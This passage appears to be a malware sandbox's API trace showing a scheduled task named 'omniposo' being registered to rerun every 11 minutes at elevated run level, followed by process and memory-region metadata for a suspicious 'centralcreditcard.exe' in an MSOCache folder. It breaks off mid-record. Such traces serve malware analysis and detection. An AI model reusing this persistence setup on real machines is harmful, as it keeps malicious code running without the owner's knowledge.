[0091.835] StrChrW (lpStart=" ", wMatch=0x78) returned 0x0 [0091.835] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0091.835] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0091.835] IUnknown:Release (This=0x546530) returned 0x1 [0091.835] IUnknown:Release (This=0x547e10) returned 0x1 [0091.835] ITaskDefinition:get_Triggers (in: This=0x547d50, ppTriggers=0xfca40 | out: ppTriggers=0xfca40*=0x547f50) returned 0x0 [0091.835] ITriggerCollection:Create (in: This=0x547f50, Type=1, ppTrigger=0xfca38 | out: ppTrigger=0xfca38*=0x5465a0) returned 0x0 [0091.836] lstrlenW (lpString="11") returned 2 [0091.836] _vsnwprintf (in: _Buffer=0xfc9c0, _BufferCount=0xf, _Format="PT%sM", _ArgList=0xfc9b8 | out: _Buffer="PT11M") returned 5 [0091.836] ITrigger:get_Repetition (in: This=0x5465a0, ppRepeat=0xfca30 | out: ppRepeat=0xfca30*=0x546630) returned 0x0 [0091.836] IRepetitionPattern:put_Interval (This=0x546630, Interval="PT11M") returned 0x0 [0091.836] IUnknown:Release (This=0x546630) returned 0x1 [0091.836] _vsnwprintf (in: _Buffer=0xfc980, _BufferCount=0x1f, _Format="%04u-%02u-%02dT%02u:%02u:00", _ArgList=0xfc958 | out: _Buffer="2023-09-19T17:17:00") returned 19 [0091.836] ITrigger:put_StartBoundary (This=0x5465a0, StartBoundary="2023-09-19T17:17:00") returned 0x0 [0091.836] lstrlenW (lpString="") returned 0 [0091.836] lstrlenW (lpString="") returned 0 [0091.836] lstrlenW (lpString="") returned 0 [0091.836] lstrlenW (lpString="") returned 0 [0091.837] IUnknown:Release (This=0x5465a0) returned 0x1 [0091.837] IUnknown:Release (This=0x547f50) returned 0x1 [0091.837] ITaskDefinition:get_Settings (in: This=0x547d50, ppSettings=0xfcee0 | out: ppSettings=0xfcee0*=0x546310) returned 0x0 [0091.837] lstrlenW (lpString="") returned 0 [0091.837] IUnknown:Release (This=0x546310) returned 0x1 [0091.837] GetLocalTime (in: lpSystemTime=0xfcd98 | out: lpSystemTime=0xfcd98*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0x11, wSecond=0x10, wMilliseconds=0xb6)) [0091.837] LoadLibraryExA (lpLibFileName="ADVAPI32.dll", hFile=0x0, dwFlags=0x0) returned 0x7feffcb0000 [0091.837] GetProcAddress (hModule=0x7feffcb0000, lpProcName="GetUserNameW") returned 0x7feffcc1fd0 [0091.838] GetUserNameW (in: lpBuffer=0xfcdc0, pcbBuffer=0xfcda8 | out: lpBuffer="kEecfMwgj", pcbBuffer=0xfcda8) returned 1 [0091.838] ITaskDefinition:get_RegistrationInfo (in: This=0x547d50, ppRegistrationInfo=0xfcd90 | out: ppRegistrationInfo=0xfcd90*=0x547e90) returned 0x0 [0091.838] IRegistrationInfo:put_Author (This=0x547e90, Author="") returned 0x0 [0091.838] _vsnwprintf (in: _Buffer=0xfcdc0, _BufferCount=0x7f, _Format="%d-%02d-%02dT%02d:%02d:%02d", _ArgList=0xfcd58 | out: _Buffer="2023-09-19T17:17:16") returned 19 [0091.839] IRegistrationInfo:put_Date (This=0x547e90, Date="") returned 0x0 [0091.839] IUnknown:Release (This=0x547e90) returned 0x1 [0091.839] malloc (_Size=0x18) returned 0x5466b0 [0091.839] free (_Block=0x5466b0) [0091.839] lstrlenW (lpString="") returned 0 [0091.839] ITaskDefinition:get_Principal (in: This=0x547d50, ppPrincipal=0xfcfb0 | out: ppPrincipal=0xfcfb0*=0x546480) returned 0x0 [0091.839] IPrincipal:put_RunLevel (This=0x546480, RunLevel=1) returned 0x0 [0091.839] IUnknown:Release (This=0x546480) returned 0x1 [0091.839] malloc (_Size=0x18) returned 0x5466b0 [0091.840] ITaskFolder:RegisterTaskDefinition (in: This=0x547d00, Path="omniposo", pDefinition=0x547d50, flags=6, UserId=0xfd030*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0xfd070*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xfef40, varVal2=0xfe), LogonType=3, sddl=0xfd050*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), ppTask=0xfcf50 | out: ppTask=0xfcf50*=0x546850) returned 0x0 [0091.945] free (_Block=0x5466b0) [0091.945] _memicmp (_Buf1=0x2ebbb0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.945] LoadStringW (in: hInstance=0x0, uID=0x12e, lpBuffer=0x2ed3c0, cchBufferMax=256 | out: lpBuffer="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 0x40 [0091.945] lstrlenW (lpString="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 64 [0091.945] GetProcessHeap () returned 0x2d0000 [0091.945] GetProcessHeap () returned 0x2d0000 [0091.945] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ed720) returned 1 [0091.945] GetProcessHeap () returned 0x2d0000 [0091.945] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ed720) returned 0xc [0091.945] _vsnwprintf (in: _Buffer=0xfd690, _BufferCount=0x1fb, _Format="SUCCESS: The scheduled task \"%s\" has successfully been created.\n", _ArgList=0xfcef8 | out: _Buffer="SUCCESS: The scheduled task \"omniposo\" has successfully been created.\n") returned 70 [0091.945] _fileno (_File=0x7feffe22ab0) returned -2 [0091.946] _errno () returned 0x544bb0 [0091.946] _get_osfhandle (_FileHandle=-2) returned 0xffffffffffffffff [0091.946] SetLastError (dwErrCode=0x6) [0091.946] lstrlenW (lpString="SUCCESS: The scheduled task \"omniposo\" has successfully been created.\n") returned 70 [0091.946] GetConsoleOutputCP () returned 0x0 [0091.946] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"omniposo\" has successfully been created.\n", cchWideChar=70, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 70 [0091.946] GetConsoleOutputCP () returned 0x0 [0091.946] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"omniposo\" has successfully been created.\n", cchWideChar=70, lpMultiByteStr=0xff941880, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SUCCESS: The scheduled task \"omniposo\" has successfully been created.\n", lpUsedDefaultChar=0x0) returned 70 [0091.946] fprintf (in: _File=0x7feffe22ab0, _Format="%s" | out: _File=0x7feffe22ab0) returned 70 [0091.946] fflush (in: _File=0x7feffe22ab0 | out: _File=0x7feffe22ab0) returned -1 [0091.947] IUnknown:Release (This=0x546850) returned 0x0 [0091.947] TaskScheduler:IUnknown:Release (This=0x547d50) returned 0x0 [0091.947] TaskScheduler:IUnknown:Release (This=0x547d00) returned 0x0 [0091.947] TaskScheduler:IUnknown:Release (This=0x17dee0) returned 0x1 [0091.947] lstrlenW (lpString="") returned 0 [0091.947] lstrlenW (lpString="11") returned 2 [0091.947] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="11", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0091.947] GetProcessHeap () returned 0x2d0000 [0091.947] GetProcessHeap () returned 0x2d0000 [0091.947] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ec470) returned 1 [0091.947] GetProcessHeap () returned 0x2d0000 [0091.947] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ec470) returned 0x1fc [0091.947] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e5510) returned 1 [0091.947] GetProcessHeap () returned 0x2d0000 [0091.947] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2e5510) returned 0x6 [0091.947] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ed640) returned 1 [0091.947] GetProcessHeap () returned 0x2d0000 [0091.947] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ed640) returned 0x16 [0091.947] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ed620) returned 1 [0091.947] GetProcessHeap () returned 0x2d0000 [0091.947] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ed620) returned 0x18 [0091.948] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ecef0) returned 1 [0091.948] GetProcessHeap () returned 0x2d0000 [0091.948] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ecef0) returned 0x20 [0091.948] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ec110) returned 1 [0091.948] GetProcessHeap () returned 0x2d0000 [0091.948] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ec110) returned 0xa0 [0091.948] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ebb90) returned 1 [0091.948] GetProcessHeap () returned 0x2d0000 [0091.948] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ebb90) returned 0x18 [0091.948] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ecc50) returned 1 [0091.948] GetProcessHeap () returned 0x2d0000 [0091.948] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ecc50) returned 0x20 [0091.948] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e7c10) returned 1 [0091.948] GetProcessHeap () returned 0x2d0000 [0091.948] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2e7c10) returned 0x38 [0091.948] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ed660) returned 1 [0091.948] GetProcessHeap () returned 0x2d0000 [0091.948] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ed660) returned 0x18 [0091.948] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ecc20) returned 1 [0091.948] GetProcessHeap () returned 0x2d0000 [0091.948] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ecc20) returned 0x20 [0091.948] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e93e0) returned 1 [0091.948] GetProcessHeap () returned 0x2d0000 [0091.948] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2e93e0) returned 0x3a [0091.949] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ed600) returned 1 [0091.949] GetProcessHeap () returned 0x2d0000 [0091.949] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ed600) returned 0x18 [0091.949] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ecbf0) returned 1 [0091.949] GetProcessHeap () returned 0x2d0000 [0091.949] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ecbf0) returned 0x20 [0091.949] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ec450) returned 1 [0091.949] GetProcessHeap () returned 0x2d0000 [0091.949] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ec450) returned 0xe [0091.949] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ec430) returned 1 [0091.949] GetProcessHeap () returned 0x2d0000 [0091.949] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ec430) returned 0x18 [0091.949] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e5e20) returned 1 [0091.949] GetProcessHeap () returned 0x2d0000 [0091.949] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2e5e20) returned 0x20 [0091.949] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ebd10) returned 1 [0091.949] GetProcessHeap () returned 0x2d0000 [0091.949] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ebd10) returned 0x208 [0091.949] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ebb70) returned 1 [0091.949] GetProcessHeap () returned 0x2d0000 [0091.949] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ebb70) returned 0x18 [0091.949] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e5d30) returned 1 [0091.949] GetProcessHeap () returned 0x2d0000 [0091.949] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2e5d30) returned 0x20 [0091.949] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ed3c0) returned 1 [0091.950] GetProcessHeap () returned 0x2d0000 [0091.950] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ed3c0) returned 0x200 [0091.950] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ebbb0) returned 1 [0091.950] GetProcessHeap () returned 0x2d0000 [0091.950] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ebbb0) returned 0x18 [0091.950] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e5ca0) returned 1 [0091.950] GetProcessHeap () returned 0x2d0000 [0091.950] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2e5ca0) returned 0x20 [0091.950] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ec320) returned 1 [0091.950] GetProcessHeap () returned 0x2d0000 [0091.950] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ec320) returned 0x14 [0091.950] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ec300) returned 1 [0091.950] GetProcessHeap () returned 0x2d0000 [0091.950] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ec300) returned 0x18 [0091.950] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e5be0) returned 1 [0091.950] GetProcessHeap () returned 0x2d0000 [0091.950] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2e5be0) returned 0x20 [0091.950] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ec340) returned 1 [0091.950] GetProcessHeap () returned 0x2d0000 [0091.950] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ec340) returned 0x16 [0091.950] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ec1c0) returned 1 [0091.950] GetProcessHeap () returned 0x2d0000 [0091.950] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ec1c0) returned 0x18 [0091.950] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e5bb0) returned 1 [0091.950] GetProcessHeap () returned 0x2d0000 [0091.950] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2e5bb0) returned 0x20 [0091.950] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ebaf0) returned 1 [0091.950] GetProcessHeap () returned 0x2d0000 [0091.951] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ebaf0) returned 0x2 [0091.951] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e5a00) returned 1 [0091.951] GetProcessHeap () returned 0x2d0000 [0091.951] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2e5a00) returned 0x20 [0091.951] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e5a30) returned 1 [0091.951] GetProcessHeap () returned 0x2d0000 [0091.951] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2e5a30) returned 0x20 [0091.951] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e5a60) returned 1 [0091.951] GetProcessHeap () returned 0x2d0000 [0091.951] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2e5a60) returned 0x20 [0091.951] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e5a90) returned 1 [0091.951] GetProcessHeap () returned 0x2d0000 [0091.951] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2e5a90) returned 0x20 [0091.951] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ecc80) returned 1 [0091.951] GetProcessHeap () returned 0x2d0000 [0091.951] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ecc80) returned 0x20 [0091.951] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ed760) returned 1 [0091.951] GetProcessHeap () returned 0x2d0000 [0091.951] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ed760) returned 0xa [0091.951] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eccb0) returned 1 [0091.951] GetProcessHeap () returned 0x2d0000 [0091.951] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2eccb0) returned 0x20 [0091.951] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e7b90) returned 1 [0091.951] GetProcessHeap () returned 0x2d0000 [0091.951] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2e7b90) returned 0x30 [0091.951] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ecce0) returned 1 [0091.951] GetProcessHeap () returned 0x2d0000 [0091.951] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ecce0) returned 0x20 [0091.952] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e7bd0) returned 1 [0091.952] GetProcessHeap () returned 0x2d0000 [0091.952] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2e7bd0) returned 0x30 [0091.952] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ecec0) returned 1 [0091.952] GetProcessHeap () returned 0x2d0000 [0091.952] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ecec0) returned 0x20 [0091.952] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ed680) returned 1 [0091.952] GetProcessHeap () returned 0x2d0000 [0091.952] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ed680) returned 0x10 [0091.952] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ece90) returned 1 [0091.952] GetProcessHeap () returned 0x2d0000 [0091.952] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ece90) returned 0x20 [0091.952] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ed6a0) returned 1 [0091.952] GetProcessHeap () returned 0x2d0000 [0091.952] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ed6a0) returned 0x10 [0091.952] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ece60) returned 1 [0091.952] GetProcessHeap () returned 0x2d0000 [0091.952] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ece60) returned 0x20 [0091.952] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ed6c0) returned 1 [0091.952] GetProcessHeap () returned 0x2d0000 [0091.952] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ed6c0) returned 0xe [0091.952] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ece30) returned 1 [0091.952] GetProcessHeap () returned 0x2d0000 [0091.952] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ece30) returned 0x20 [0091.952] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ed6e0) returned 1 [0091.953] GetProcessHeap () returned 0x2d0000 [0091.953] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ed6e0) returned 0x16 [0091.953] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ece00) returned 1 [0091.953] GetProcessHeap () returned 0x2d0000 [0091.953] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ece00) returned 0x20 [0091.953] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ed700) returned 1 [0091.953] GetProcessHeap () returned 0x2d0000 [0091.953] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ed700) returned 0x16 [0091.953] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ecdd0) returned 1 [0091.953] GetProcessHeap () returned 0x2d0000 [0091.953] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ecdd0) returned 0x20 [0091.953] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x309bf0) returned 1 [0091.953] GetProcessHeap () returned 0x2d0000 [0091.953] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x309bf0) returned 0x82 [0091.953] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ecda0) returned 1 [0091.953] GetProcessHeap () returned 0x2d0000 [0091.953] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ecda0) returned 0x20 [0091.953] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ed740) returned 1 [0091.953] GetProcessHeap () returned 0x2d0000 [0091.953] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ed740) returned 0xe [0091.953] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ecd70) returned 1 [0091.953] GetProcessHeap () returned 0x2d0000 [0091.953] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ecd70) returned 0x20 [0091.953] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ebb10) returned 1 [0091.953] GetProcessHeap () returned 0x2d0000 [0091.953] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ebb10) returned 0x18 [0091.954] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e5ac0) returned 1 [0091.954] GetProcessHeap () returned 0x2d0000 [0091.954] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2e5ac0) returned 0x20 [0091.954] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e5af0) returned 1 [0091.954] GetProcessHeap () returned 0x2d0000 [0091.954] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2e5af0) returned 0x20 [0091.954] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e5b20) returned 1 [0091.954] GetProcessHeap () returned 0x2d0000 [0091.954] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2e5b20) returned 0x20 [0091.954] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e5b50) returned 1 [0091.954] GetProcessHeap () returned 0x2d0000 [0091.954] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2e5b50) returned 0x20 [0091.954] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ebb30) returned 1 [0091.954] GetProcessHeap () returned 0x2d0000 [0091.954] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ebb30) returned 0x18 [0091.954] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e5b80) returned 1 [0091.954] GetProcessHeap () returned 0x2d0000 [0091.954] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2e5b80) returned 0x20 [0091.954] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e5c10) returned 1 [0091.954] GetProcessHeap () returned 0x2d0000 [0091.954] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2e5c10) returned 0x20 [0091.954] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e5c70) returned 1 [0091.954] GetProcessHeap () returned 0x2d0000 [0091.954] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2e5c70) returned 0x20 [0091.955] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e5cd0) returned 1 [0091.955] GetProcessHeap () returned 0x2d0000 [0091.955] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2e5cd0) returned 0x20 [0091.955] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e5d00) returned 1 [0091.955] GetProcessHeap () returned 0x2d0000 [0091.955] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2e5d00) returned 0x20 [0091.955] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ebb50) returned 1 [0091.955] GetProcessHeap () returned 0x2d0000 [0091.955] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ebb50) returned 0x18 [0091.955] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e5c40) returned 1 [0091.955] GetProcessHeap () returned 0x2d0000 [0091.955] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2e5c40) returned 0x20 [0091.955] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ebad0) returned 1 [0091.955] GetProcessHeap () returned 0x2d0000 [0091.955] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ebad0) returned 0x18 [0091.955] exit (_Code=0) Thread: id = 218 os_tid = 0x984 Process: id = "67" image_name = "centralcreditcard.exe" filename = "c:\\msocache\\all users\\{90160000-00e1-0409-1000-0000000ff1ce}-c\\centralcreditcard.exe" page_root = "0x3a26c000" os_pid = "0x990" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "28" os_parent_pid = "0xfb4" cmd_line = "\"C:\\MSOCache\\All Users\\{90160000-00E1-0409-1000-0000000FF1CE}-C\\centralcreditcard.exe\" " cur_dir = "C:\\Windows\\system32\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f1fb" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 5424 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 5425 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 5426 start_va = 0x40000 end_va = 0x13ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000040000" filename = "" Region: id = 5427 start_va = 0x8a0000 end_va = 0x977fff monitored = 1 entry_point = 0x96f1ee region_type = mapped_file name = "centralcreditcard.exe" filename = "\\MSOCache\\All Users\\{90160000-00E1-0409-1000-0000000FF1CE}-C\\centralcreditcard.exe" (normalized: "c:\\msocache\\all users\\{90160000-00e1-0409-1000-0000000ff1ce}-c\\centralcreditcard.exe") Region: id = 5428 start_va = 0x77be0000 end_va = 0x77d88fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 5429 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 5430 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 5431 start_va = 0x7fefff00000 end_va = 0x7fefff00fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 5432 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 5433 start_va = 0x7fffffdc000 end_va = 0x7fffffdcfff monitored = 1 entry_point = 